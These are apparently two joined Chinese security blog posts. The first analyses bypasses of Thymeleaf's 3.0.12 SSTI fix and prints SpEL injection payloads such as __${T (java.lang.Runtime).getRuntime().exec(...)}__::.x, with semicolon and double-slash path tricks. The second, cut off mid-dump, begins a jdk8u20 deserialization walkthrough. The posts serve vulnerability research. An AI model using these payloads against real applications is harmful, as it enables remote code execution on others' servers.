为什么这样构造呢？前文在介绍renderFragment函数的时候我们提到，renderFragment在解析模板名称的时候会将模板名称进行拼接 "~{" + viewTemplateName + "}"，然后使用parseExpression进行解析，我们跟进parseExpression进入org.thymeleaf.standard.expression StandardExpressionParser.java中的 parseExpression方法：(preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);可以发现对表达式进行了preprocess预处理，跟进该方法：preprocess预处理会解析出__xx__中间的部分作为表达式如果 debug 可以发现，该表达式最终在org.thymeleaf.standard.expression.VariableExpression.executeVariableExpression()中作为 SpEL表达式执行。因此 POC 中我们要构造形如__xx__的SpEL表达式（SpEL相关的知识点可以参考此文：SPEL 表达式注入漏洞深入分析），即表达式要为：__${xxxxx}__ 这种形式那么为什么后面还有带有::呢？因为renderFragment中的判断条件：if (!viewTemplateName.contains("::")) {即只有当模板名包含::时，才能够进入到parseExpression，也才会将其作为表达式去进行执行。至于 POC 最后的.k，我们在最开始的提到了：当~{}片段表达式中出现::，那么 ::后需要有值（也就是selector）因此，最终 POC 的形式就为：__${xxxx}__::.x实际上，只有3.x版本的Thymeleaf 才会受到影响，因为在2.x 中renderFragment的核心处理方法是这样的：protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { ... Configuration configuration = viewTemplateEngine.getConfiguration(); ProcessingContext processingContext = new ProcessingContext(context); templateCharacterEncoding = getStandardDialectPrefix(configuration); StandardFragment fragment = StandardFragmentProcessor.computeStandardFragmentSpec(configuration, processingContext, viewTemplateName, templateCharacterEncoding, "fragment"); if (fragment == null) { throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'"); } ...并没有3.x 版本中对于片段表达式（~{）的处理，也因此不会造成 SSTI 漏洞，以下是 SpringBoot 默认引用的 thymeleaf 版本spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.110x03 Thymeleaf SSTI Bypass针对上文中的问题，Thymeleaf 实际上做了修复：在 3.0.12 版本，Thymeleaf 在 util目录下增加了一个名为SpringStandardExpressionUtils.java的文件：在该文件中，就有说明：当调用表达式的时候，会经过该函数的判断：来看看该函数：public static boolean containsSpELInstantiationOrStatic(final String expression) { final int explen = expression.length(); int n = explen; int ni = 0; // index for computing position in the NEW_ARRAY int si = -1; char c; while (n-- != 0) { c = expression.charAt(n); if (ni < NEW_LEN && c == NEW_ARRAY[ni] && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) { ni++; if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) { return true; // we found an object instantiation } continue; } if (ni > 0) { n += ni; ni = 0; if (si < n) { // This has to be restarted too si = -1; } continue; } ni = 0; if (c == ')') { si = n; } else if (si > n && c == '(' && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T')) && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) { return true; } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) { si = -1; } } return false; }可以看到其主要逻辑是首先 倒序检测是否包含 wen关键字、在(的左边的字符是否是T，如包含，那么认为找到了一个实例化对象，返回true，阻止该表达式的执行。因此要绕过这个函数，只要满足三点：1、表达式中不能含有关键字new2、在(的左边的字符不能是T3、不能在T和(中间添加的字符使得原表达式出现问题三梦师傅给出的答案是%20(空格)，在我研究中发现其实还有%0a(换行)、%09(制表符)，此外，通过 fuzzing 同样可以找到很多可以利用的字符：有兴趣的朋友可以自己测试还有哪些可以绕过需要注意的是，这种绕过方式针对的情景是当传入的路径名可控时，如：这里有一个点需要注意，可以看到上面一个图片中 path 和返回的视图名不一样，path 为/admin/*，返回的视图名为language/cn/*，但当 path 和返回的视图名一样的时候，如下：实际上上述payload 是没有用的为什么呢？实际上在 3.0.12 版本，除了加了SpringStandardExpressionUtils.java，同样还增加了 SpringRequestUtils.java文件：并且看其描述：如果视图名称包含在 URL 的路径或参数中，请避免将视图名称作为片段表达式执行意思就是如果视图的名字和 path 一致，那么就会经过SpringRequestUtils.java中的checkViewNameNotInRequest函数检测：可以看到，如果requestURI不为空，并且不包含vn的值，即可进入判断，从而经过checkViewNameNotInRequest的“良民”认证。首先按照上文中的 Poc：__${T%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)}__::.x/我们可以得到 vn 的值为home/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x既然vn的值确定下来，那么接下来只要令requestURI.contains(vn)为假，就能达到我们的目的contains 区分大小写，那么……别想了，因为 pack 方法已经经过了toLowerCase处理那么是不是么办法了？答案是否定的（废话，三梦师傅给出了答案）我们先看requestURI是怎么来的：跟进unescapeUriPath方法：跟进unescapeUriPath方法：调用了UriEscapeUtil.unescape，跟进：该函数首先检测传入的字符中是否是%(ESCAPE_PREFIX)或者+，如果是，那么进行二次处理：将+转义成空格如果%的数量大于一，需要一次将它们全部转义处理完毕后，将处理后的字符串返还回如果实际不需要unescape，那么不经过处理，直接返回原始字符串对象最终，就得到了requestURI貌似，也没啥特殊的地方既然没有特殊的地方，那么我们只需要思考，如何从正面令requestURI.contains(vn)为假，即令requestURI不等于home/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x即可这件事本质是令两个字符串不相等，并且要满足路由条件（/home/*路径下）那么结论就来了Bypass 技巧 1：这也是三梦师傅在群里提到的home;/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x只需要在 home 的后面加上一个分号即可这是因为在 SpringBoot 中，SpringBoot 有一个功能叫做矩阵变量，默认是禁用状态：如果发现路径中存在分号，那么会调用removeSemicolonContent方法来移除分号这样一来使得传入的字符和vn不相同，并且又满足路由条件！成功绕过checkViewNameNotInRequest的检测Bypass 技巧 2：这个 Bypass 是我分析的时候想到的，前面也提到了，我们的实际目标就是令两个字符串不相等，并且要满足路由条件（/home/*路径下），那么：home//__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x和home/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x不相等，并且满足路由条件！完美！（原理不用解释了吧）最后提一点，实际上 payload 中不能含有/，否则会执行不成功：原因其实就是路由条件不相等，因为解析器看来是这样的路径/home;/__${T (java.lang.Runtime).getRuntime().exec("open -a /System /Applications /Calculator.app")}__::.x/0x04 总结遗憾的是，这 Bypass Thymeleaf 官方并没有给三梦师傅分配 CVE，和三梦师傅讨论认为，Thymeleaf 认为这是开发者需要注意到的地方（因为 return 的内容是由开发者控制，开发者应当注意这个问题），不过这个理由牵不牵强，就只能自己领会了实际上由于时间问题，还有一些内容没有横向扩展，比如，当不 return 的时候：能否 Bypass？当模板内容可控的时候：又能否 Bypass？此外，java 常用的其他模板引擎，如 Velocity、Freemarker、Pebble 和 Jinjava 是否存在类似问题？这些问题在我有时间的时候会尝试去解决，也同时欢迎其他师傅共同分析思考这些问题项目源码我也已经上传到 GitHub 上了，有兴趣可以自己搭建看看，虽然很简单，但是可以省去复制代码的时间了https://github.com/cn-panda/ThymeleafSSTIBypass
0x01 写在前面jdk8u20原生反序列化漏洞是一个非常经典的漏洞，也是我分析过最复杂的漏洞之一。在这个漏洞里利用了大量的底层的基础知识，同时也要求读者对反序列化的流程、序列化的数据结构有一定的了解本文结合笔者自身对该漏洞的了解，写下此文，如有描述不当或者错误之处，还望各位师傅指出0x02 jdk8u20 漏洞原理jdk8u20其实是对jdk7u21漏洞的绕过，在《JDK7u21反序列化漏洞分析笔记》 一文的最后我提到了jdk7u21的修复方式：首先来看存在漏洞的最后一个版本（611bcd930ed1）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java查看其 children 版本（0ca6cbe3f350）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.javacompare一下：// 改之前 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } // 改之后 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }可以发现，在第一次的修复中，官方采用的方法是网上的第二种讨论，即将以前的 return 改成了抛出异常。我们来看第一次修复后的AnnotationInvocationHandler.readObejct()方法：private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }在AnnotationInvocationHandler类中，其重写了readObejct方法，那么根据 oracle 官方定义的 Java 中可序列化对象流的原则——如果一个类中定义了readObject方法，那么这个方法将会取代默认序列化机制中的方法读取对象的状态，可选的信息可依靠这些方法读取，而必选数据部分要依赖defaultReadObject方法读取；可以看到在该类内部的readObject方法第一行就调用了defaultReadObject()方法，该方法主要用来从字节流中读取对象的字段值，它可以从字节流中按照定义对象的类描述符以及定义的顺序读取字段的名称和类型信息。这些值会通过匹配当前类的字段名称来赋予，如果当前这个对象中的某个字段并没有在字节流中出现，则这些字段会使用类中定义的默认值，如果这个值出现在字节流中，但是并不属于对象，则抛弃该值。在利用defaultReadObject()还原了一部分对象的值后，最近进行AnnotationType.getInstance(type)判断，如果传入的 type 不是AnnotationType类型，那么抛出异常。也就是说，实际上在jdk7u21漏洞中，我们传入的AnnotationInvocationHandler对象在异常被抛出前，已经从序列化数据中被还原出来。换句话说就是我们把恶意的种子种到了运行对象中，但是因为出现异常导致该种子没法生长，只要我们解决了这个异常，那么就可以重新达到我们的目的。这也就是jdk8u20漏洞的原理——逃过异常抛出。那么具体该如何逃过呢？jdk8u20的作者用了一种非常牛逼的方式。再具体介绍这种方式之前，先简单介绍一些与本漏洞相关的基础知识，以便读者更明白本文的分析流程和细节。0x03 基础知识1、Try/catch块的作用写程序不可避免的出现一些错误或者未注意到的异常信息，为了能够处理这些异常信息或错误，并且让程序继续执行下去，开发者通常使用try ... catch语法。把可能发生异常的语句放在try { ... }中，然后使用catch捕获对应的Exception及其子类，这样一来，在 JVM 捕获到异常后，会从上到下匹配catch语句，匹配到某个catch后，执行catch代码块，从而达到继续执行代码的效果。如jdk7u21中利用的正是这个：try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }当检测的结果不是AbbitatuibType时，匹配到了IllegalArgumentException异常，然后执行了catch中的代码块。但如果try ... catch嵌套，又该如何判定呢？可以看个例子package com.panda.sec; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; public class test { static double TEST_NUMBER = 0; public static void math(int a, int b){ double c; if (a != b) { try { TEST_NUMBER = a*(a+b); c = a / b; } catch (Exception e) { System.out.println("内层出错了"); } } else { c = a * b; } } public static void urlRequest(int a, int b, String url) throws IOException { try { math(a, b); URL realUrl = new URL(url); HttpURLConnection connection = (HttpURLConnection)realUrl.openConnection(); connection.setRequestProperty("accept", "*/*"); connection.connect(); System.out.println("状态码：" + connection.getResponseCode()); } catch (Exception e) { System.out.println("外层出错了"); throw e; } System.out.println(TEST_NUMBER); } public static void main(String[] args) throws IOException { urlRequest(1,0,"https://www.cnpanda.net"); System.out.println("all end"); } }先来看看代码逻辑，首先定义了全局变量TEST_NUMBER=0，然后定义了math和urlRequest两个方法，并且在urlRequest方法里，调用了math方法，最后在main函数中执行urlRequest方法。请读者不看下文的分析，先思考当变量值为以下情况时，这段代码会输出什么？当a=1,b=0，url地址是https://www.cnpanda.net时当a=1,b=0，url地址是https://test.cnpanda.net时当a=1,b=2，url地址是https://www.cnpanda.net时当a=1,b=2，url地址是https://test.cnpanda.net时来看具体运行结果：当a=1,b=0，url地址是https://www.cnpanda.net时：这种情况下，b=0使得a/b中的分母为0，导致内层出错，因此会进入catch块并打印出内层出错了字符串，但是由于内层的catch块并没有把错误抛出，因此继续执行剩余代码逻辑，向https://www.cnpanda.net地址发起http请求，打印状态码为200，由于在math方法中 TEST_NUMBER = a*(a+b)=1*(1+0)=1，因此打印出TEST_NUMBER为1.0，最后打印all end结束代码逻辑。当a=1,b=0，url地址是https://test.cnpanda.net时：这种情况下，b=0使得a/b中的分母为0，导致内层出错，因此会进入catch块并打印出内层出错了字符串，但是由于内层的catch块并没有把错误抛出，因此继续执行剩余代码逻辑，向https://test.cnpanda.net地址发起http请求，但是由于无法解析导致出错，进入catch块，在catch块中打印外层出错了字符串，然后抛出错误，结束代码逻辑。当a=1,b=2，url地址是https://www.cnpanda.net时：这种情况下，b!=0，因此a/b会正常运算，不会进入catch块，继续执行剩余代码逻辑，向https://www.cnpanda.net地址发起http请求，打印状态码为200，由于在math方法中 TEST_NUMBER = a*(a+b)=1*(1+2)=3，因此打印出TEST_NUMBER为3，最后打印all end结束代码逻辑。当a=1,b=2，url地址是https://test.cnpanda.net时：这种情况下，b!=0，因此a/b会正常运算，不会进入catch块，继续执行剩余代码逻辑，向https://test.cnpanda.net地址发起http请求，但是由于无法解析导致出错，进入catch块，在catch块中打印外层出错了字符串，然后抛出错误，结束代码逻辑。从上面的示例可以得出一个结论，在一个存在try ... catch块的方法（有异常抛出）中去调用另一个存在try ... catch块的方法（无异常抛出），如果被调用的方法（无异常抛出）出错，那么会继续执行完调用方法的代码逻辑，但是若调用方法也出错，那么会终止代码运行的进程这是有异常抛出调用无异常抛出，那么如果是无异常抛出调用有异常抛出呢？如下代码：package com.panda.sec; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; public class test { static double TEST_NUMBER = 0; public static void math(int a, int b,String url) throws IOException { double c; try { urlRequest(url); if (a != b) { TEST_NUMBER = a*(a+b); c = a / b; } else { c = a * b; } } catch (Exception e) { System.out.println("外层出错了"); } } public static void urlRequest(String url) throws IOException { try { URL realUrl = new URL(url); HttpURLConnection connection = (HttpURLConnection)realUrl.openConnection(); connection.setRequestProperty("accept", "*/*"); connection.connect(); System.out.println("状态码：" + connection.getResponseCode()); } catch (Exception e) { System.out.println("内层出错了"); throw e; } System.out.println(TEST_NUMBER); } public static void main(String[] args) throws IOException { math(1,0,"https://test.cnpanda.net"); System.out.println("all end"); } }同上面示例一样的代码逻辑（为了方便，做了略微调整，有些代码无意义也没有删除），只是，不同的是，这里在math方法中调用了urlRequest方法。那么如下情况又会输出什么呢？同样的，请读者不看下文的分析，先思考当变量值为以下情况时，这段代码会输出什么？当a=1,b=0，url地址是https://www.cnpanda.net时当a=1,b=0，url地址是https://test.cnpanda.net时当a=1,b=2，url地址是https://www.cnpanda.net时当a=1,b=2，url地址是https://test.cnpanda.net时当a=1,b=0，url地址是https://www.cnpanda.net时这种情况下，url为https://www.cnpanda.net，因此会在内层向该地址发起http请求，并且打印状态码为200，内层执行完毕后，继续执行外层剩余代码逻辑，b=0使得a/b中的分母为0，导致外层出错，因此会进入catch块并打印出外层层出错了字符串，最后打印all end结束代码逻辑。当a=1,b=0，url地址是https://test.cnpanda.net时这种情况下，url为https://test.cnpanda.net，因此会在内层向该地址发起http请求，但是由于无法解析导致出错，进入catch块，在catch块中打印内层出错了字符串，由于内层出错，导致外层也出错，直接进入外层的catch块并打印出外层层出错了字符串，最后打印all end结束代码逻辑。当a=1,b=2，url地址是https://www.cnpanda.net时这种情况下，url为https://www.cnpanda.net，因此会在内层向该地址发起http请求，并且打印状态码为200，内层执行完毕后，继续执行外层剩余代码逻辑，b!=0使得a/b中的分母不为0，外层不会出错，因此执行完外层的逻辑，最后打印all end结束整个代码逻辑。当a=1,b=2，url地址是https://test.cnpanda.net时这种情况下，url为https://test.cnpanda.net，因此会在内层向该地址发起http请求，因此会在内层向该地址发起http请求，但是由于无法解析导致出错，进入catch块，在catch块中打印内层出错了字符串，由于内层出错，导致外层也出错，直接进入外层的catch块并打印出外层层出错了字符串，最后打印all end结束代码逻辑。从上面的示例可以得出一个结论，在一个存在try ... catch块的方法（无异常抛出）中去调用另一个存在try ... catch块的方法（有异常抛出），如果被调用的方法（有异常抛出）出错，那么会导致调用方法出错且不会继续执行完调用方法的代码逻辑，但是不会终止代码运行的进程2、序列化数据的结构序列化数据的结构可以参考：《Object Serialization Stream Protocol/对象序列化流协议》总结 https://www.cnpanda.net/talksafe/892.html或者直接阅读官方文档：https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html使用SerializationDumper工具可以查看一段序列化数据的结构，如下图所示：可以看到，序列化结构的骨架是由TC_*和各种字段描述符构成，各个TC_*及描述符的意思已经在《Object Serialization Stream Protocol/对象序列化流协议》一文中介绍了，想深入阅读的读者可以去看看。3、序列化中的两个机制引用机制在序列化流程中，对象所属类、对象成员属性等数据都会被使用固定的语法写入到序列化数据，并且会被特定的方法读取；在序列化数据中，存在的对象有null、new objects、classes、arrays、strings、back references等，这些对象在序列化结构中都有对应的描述信息，并且每一个写入字节流的对象都会被赋予引用Handle，并且这个引用Handle可以反向引用该对象（使用TC_REFERENCE结构，引用前面handle的值），引用Handle会从0x7E0000开始进行顺序赋值并且自动自增，一旦字节流发生了重置则该引用Handle会重新从0x7E0000开始。成员抛弃在反序列化中，如果当前这个对象中的某个字段并没有在字节流中出现，则这些字段会使用类中定义的默认值，如果这个值出现在字节流中，但是并不属于对象，则抛弃该值，但是如果这个值是一个对象的话，那么会为这个值分配一个 Handle。4、了解jdk7u21漏洞这个是毋庸置疑要理解的，因为jdk8u20是对jdk7u21漏洞修复的绕过。可以参考我之前写的文章：JDK7u21反序列化漏洞分析笔记：https://xz.aliyun.com/t/97040x04 从一个case说起由于jdk8u20真的比较复杂，因此为了方便理解，我写了一个简单的case，用于帮助读者理解下文。假设存在两个类AnnotationInvocationHandler和BeanContextSupport，具体内容如下：AnnotationInvocationHandler.javapackage com.panda.sec; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class AnnotationInvocationHandler implements Serializable { private static final long serialVersionUID = 10L; private int zero; public AnnotationInvocationHandler(int zero) { this.zero = zero; } public void exec(String cmd) throws IOException { Process shell = Runtime.getRuntime().exec(cmd); } private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); if(this.zero==0){ try{ double result = 1/this.zero; }catch (Exception e) { throw new Exception("Hack !!!"); } }else{ throw new Exception("your number is error!!!"); } } }BeanContextSupport.javapackage com.panda.sec; import java.io.ObjectInputStream; import java.io.Serializable; public class BeanContextSupport implements Serializable { private static final long serialVersionUID = 20L; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); try { input.readObject(); } catch (Exception e) { return; } } }Question：当传入AnnotationInvocationHandler方法中的zero等于0的时候，如何能在序列化结束时调用AnnotationInvocationHandler.exec()方法达到RCE？我们首先令zero等于0，然后尝试调用AnnotationInvocationHandler.exec()方法看看：import java.io.*; public class Main { public static void payload() throws IOException, ClassNotFoundException { AnnotationInvocationHandler annotationInvocationHandler = new AnnotationInvocationHandler(0); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload1")); out.writeObject(annotationInvocationHandler); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload1")); AnnotationInvocationHandler str = (AnnotationInvocationHandler)in.readObject(); str.exec("open /System/Applications/Calculator.app"); } public static void main(String[] args) throws IOException, ClassNotFoundException { payload(); } }不出意外，由于zero的值为0，所以使得result的分母为0，导致出现异常，抛出 Exception("Hack !!!")错误。由于在代码中我们生成了序列化文件payload1，所以现在可以利用SerializationDumper工具来看看其数据结构：STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00由于该数据结构比较短，可以来具体介绍一下。STREAM_MAGIC - 0xac ed是魔数，代表了序列化的格式；STREAM_VERSION - 0x00 05表示序列化的版本；Contents表示最终生成的序列的内容；TC_OBJECT - 0x73表示序列化一个新对象的开始标记；TC_CLASSDESC - 0x72表示一个新类的描述信息开始标记；className表示当前对象的类全名信息，下面紧跟着的内容也是className的描述信息；Length - 41 - 0x00 29表示当前对象的类的长度为41；Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572表示当前对象的类的名称为com.panda.sec.AnnotationInvocationHandler，后面的字符串是其十六进制表示；serialVersionUID - 0x00 00 00 00 00 00 00 0a定义了serialVersionUID的值为20；newHandle 0x00 7e 00 00 表示为对象分配一个值为007e0000的handle（因为引用Handle会从0x7E0000开始进行顺序赋值并且自动自增），值得注意的是这里的handle实际上没有被真正的写入文件，如果我们把这里的007e0000加入到序列化数据中，会发生异常，从而终止反序列化进程，之所以会在这里显示出来，是因为serializationDumper的作者为了方便使用者分析序列化数据的结构；classDescFlags - 0x02 - SC_SERIALIZABLE表示类描述信息标记为SC_SERIALIZABLE，代表在序列化的时候使用的是java.io.Serializable（如果使用的是java.io.Externalizable，这里的标记就会变成classDescFlags - 0x04 - SC_EXTERNALIZABLE）； fieldCount - 1 - 0x00 01表示成员属性的数量为1，值得注意的是这里的fieldCount同样是serializationDumper的作者为了方便使用者分析序列化数据的结构而新设置的描述符，在官方序列化规范中是没有fieldCount的；Fields表示接下来的内容是类中所有字段的描述信息，Fields成员属性保存了当前分析的类对应的所有成员属性的元数据信息，它是一个数组结构，每一个元素都对应了成员属性的元数据描述信息，且不会重复； 0表示接下来的内容是第一个字段的描述信息； Int - I - 0x49表示该字段的类型是int型； fieldName表示当前字段的字段名信息，下面紧跟着的内容也是 fieldName的描述信息；Length - 4 - 0x00 04表示当前字段名的长度为4；Value - zero - 0x7a65726f表示当前字段名为zero；classAnnotations表示和类相关的Annotation的描述信息，这里的数据值一般是由ObjectOutputStream的annotateClass()方法写入的，但由于annotateClass()方法默认为空，所以classAnnotations后一般会设置TC_ENDBLOCKDATA标识；（关于annotateClass具体可以看我写的序列化流程分析总结一文） TC_ENDBLOCKDATA - 0x78数据块的结束标记，表示这个对象类型的描述符已经结束了；superClassDesc表示父类的描述符信息，这里为空；TC_NULL - 0x70表示当前对象是一个空引用；newHandle 0x00 7e 00 01表示为对象分配一个值为007e0001的handle，同上面的newHandle一样，这里的handle实际上没有被真正的写入文件；classdata表示下面紧跟着的是类数据中的所有内容；` com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00`表示类数据中的所有内容 以上就是所有的序列化数据的结构，当进行反序列化的时候，会依次从上到下读取序列化内容进行还原数据。现在思考一个问题：如果在上面的序列化数据中插入一部分源代码中没有的数据，那么在反序列化的时候会发生什么？在解决这个问题前，首先再来深入理解一下我们之前提到的引用机制，举个例子比如以下代码进行一次序列化的序列化数据结构：package com.panda.sec; import java.io.*; public class test implements Serializable { private static final long serialVersionUID = 100L; public static int num = 0; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); System.out.println("hello!"); } public static void main(String[] args) throws IOException { test t = new test(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("testcase")); out.writeObject(t); out.close(); } }如果上述代码进行两次序列化，那么这个数据结构会变成什么？可以来看看：package com.panda.sec; import java.io.*; public class test implements Serializable { private static final long serialVersionUID = 100L; public static int num = 0; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); System.out.println("hello!"); } public static void main(String[] args) throws IOException { test t = new test(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("testcase")); out.writeObject(t); out.writeObject(t); //二次序列化 out.close(); } }对比一下可以发现，在该序列化数据的结构中最后多了TC_REFERENCE - 0x71 Handle - 8257537 - 0x00 7e 00 01这里对应的就是前文基础知识里“序列化中的两个机制”中引用机制里的一段话每一个写入字节流的对象都会被赋予引用Handle，并且这个引用Handle可以反向引用该对象（使用TC_REFERENCE结构，引用前面handle的值），引用Handle会从0x7E0000开始进行顺序赋值并且自动自增，一旦字节流发生了重置则该引用Handle会重新从0x7E0000开始。那么反序列化是如何处理TC_REFERENCE块的呢？我在反序列化流程分析总结 一文中写到这样一个流程：在readObject0方法里有这样的一个判断：是的，在反序列化的流程中，进入了readObject0方法后，会判断读取的字节流中是否有TC_REFERENCE标识，如果有，那么会调用readHandle函数，但是我没有在文中具体说明readHandle函数，可以一起来看看： private Object readHandle(boolean unshared) throws IOException { if (bin.readByte() != TC_REFERENCE) { throw new InternalError(); } passHandle = bin.readInt() - baseWireHandle; if (passHandle < 0 || passHandle >= handles.size()) { throw new StreamCorruptedException( String.format("invalid handle value: %08X", passHandle + baseWireHandle)); } if (unshared) { // REMIND: what type of exception to throw here? throw new InvalidObjectException( "cannot read back reference as unshared"); } Object obj = handles.lookupObject(passHandle); if (obj == unsharedMarker) { // REMIND: what type of exception to throw here? throw new InvalidObjectException( "cannot read back reference to unshared object"); } return obj; }这个方法会从字节流中读取TC_REFERENCE标记段，它会把读取的引用Handle赋值给passHandle变量，然后传入lookupObject()，在lookupObject()方法中，如果引用的handle不为空、没有关联的ClassNotFoundException（status[handle] != STATUS_EXCEPTION），那么就返回给定handle的引用对象，最后由readHandle方法返回给对象。也就是说，反序列化流程还原到TC_REFERENCE的时候，会尝试还原引用的handle对象。谈完了引用机制现在在来看数据插入的问题，如何能在类AnnotationInvocationHandler的序列化数据中插入一部分源代码中没有的数据？利用objectAnnotation！继续来看个例子：package com.panda.sec; import java.io.*; public class test implements Serializable { private static final long serialVersionUID = 100L; public static int num = 0; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); System.out.println("hello!"); } private void writeObject(ObjectOutputStream output) throws IOException { output.defaultWriteObject(); output.writeObject("Panda"); output.writeUTF("This is a test data!"); } public static void main(String[] args) throws IOException, ClassNotFoundException { test t = new test(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("testcase_new")); out.writeObject(t); out.writeObject(t); out.close(); } }在这个示例中，我们重写了writeObject方法，并且在该方法中利用writeObject和writeUTF方法写入了Panda对象以及This is a test data!字符串，该段序列化数据内容如下：为了更直白的看变化，我们可以用compare工具来对比一下：可以看到原先表示类描述信息标记由0x02 - SC_SERIALIZABLE变成了0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE，并且在原有序列化数据结构的最下方还多了由objectAnnotation标识的内容段，这里的内容段会在反序列化的时候被还原为什么会有这种变化？知识点1：如果一个可序列化的类重写了writeObject方法，而且向字节流写入了一些额外的数据，那么会设置SC_WRITE_METHOD标识，这种情况下，一般使用结束符TC_ENDBLOCKDATA来标记这个对象的数据结束；知识点2：如果一个可序列化的类重写了writeObject方法，在该序列化数据的classdata部分，还会多出个objectAnnotation部分，并且如果重写的writeObject()方法内除了调用defaultWriteObject()方法写对象字段数据，还向字节流中写入了自定义数据，那么在objectAnnotation部分会有写入自定义数据对应的结构和值；这样一来是不是就有点明了了？正常情况下，我们没有办法修改可序列化类本身的内容，也就没办法重写这个类中的writeObject方法，也就没法让序列化数据中多出来objectAnnotation内容段可真的没办法吗？当然不是了！序列化数据只是一块二进制的数据而已，只要按照序列化预定的规则来修改其hex数据，那么实际上就是相当于在重写的writeObject方法中添加数据在写入数据前，我们要考虑一件事，谁向谁写入数据？是先序列化AnnotationInvocationHandler类然后向其中插入BeanContextSupport对象，还是先序列化BeanContextSupport类然后向其中插入AnnotationInvocationHandler对象？先思考jdk7u21被修复的原因是什么？是因为在反序列化的过程中有异常抛出，从而导致反序列化的进程被终止了！这让我们不得不联想到我们在基础知识的Try/catch块的作用中做的结论：在一个存在try ... catch块的方法（无异常抛出）中去调用另一个存在try ... catch块的方法（有异常抛出），如果被调用的方法（有异常抛出）出错，那么会导致调用方法出错且不会继续执行完调用方法的代码逻辑，但是不会终止代码运行的进程我们要的就是不要终止我们的反序列化进程，这样我们就可以取得反序列化后的类对象。所以我们需要先序列化BeanContextSupport类（无异常抛出）然后向其中插入AnnotationInvocationHandler对象（有异常抛出）这里还有一点要注意，因为根据成员抛弃机制我们知道，如果序列化流新增的这个值是一个对象的话，那么会为这个值分配一个 Handle，但由于我们是手动插入Handle，所以需要修改引用Handle的值（就是TC_ENDBLOCKDATA块中handle的引用值）为AnnotationInvocationHandler对象的handle地址具体过程如下：第一步，先序列化BeanContextSupport类，然后利用SerializationDumper工具可以得到以下数据结构：STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 32 - 0x00 20 Value - 